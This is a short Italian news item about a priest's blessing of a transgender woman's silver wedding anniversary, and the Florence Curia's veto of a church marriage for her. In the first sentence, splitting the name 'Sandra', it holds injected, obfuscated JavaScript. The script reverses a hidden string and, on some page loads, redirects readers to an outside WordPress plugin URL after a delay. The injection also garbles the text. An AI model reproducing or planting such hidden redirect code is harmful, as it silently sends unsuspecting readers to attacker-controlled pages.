Nozze benedette, ma non da tutti

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Don Santoro ha benedetto le nozze d’argento di S (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andra e Fortunato. Sandra Alvino, sposata da 25 anni, molto tempo fa era un maschio, e per questo non ha potuto sposarsi in chiesa. Sandra si sente credente e da tempo rivendica il suo diritto al matrimonio religioso, che Don Santoro avrebbe voluto celebrare. La Curia di Firenze però ha posto il veto. La benedizione impartita a novembre, annunciata non a caso nel Giorno della Memoria contro l’omofobia, non può che giungere ugualmente sgradita ad una Chiesa che non riconosce il diritto delle persone transessuali a correggere chirurgicamente ciò che percepiscono come un errore di natura e a vivere così compiutamente la propria identità.

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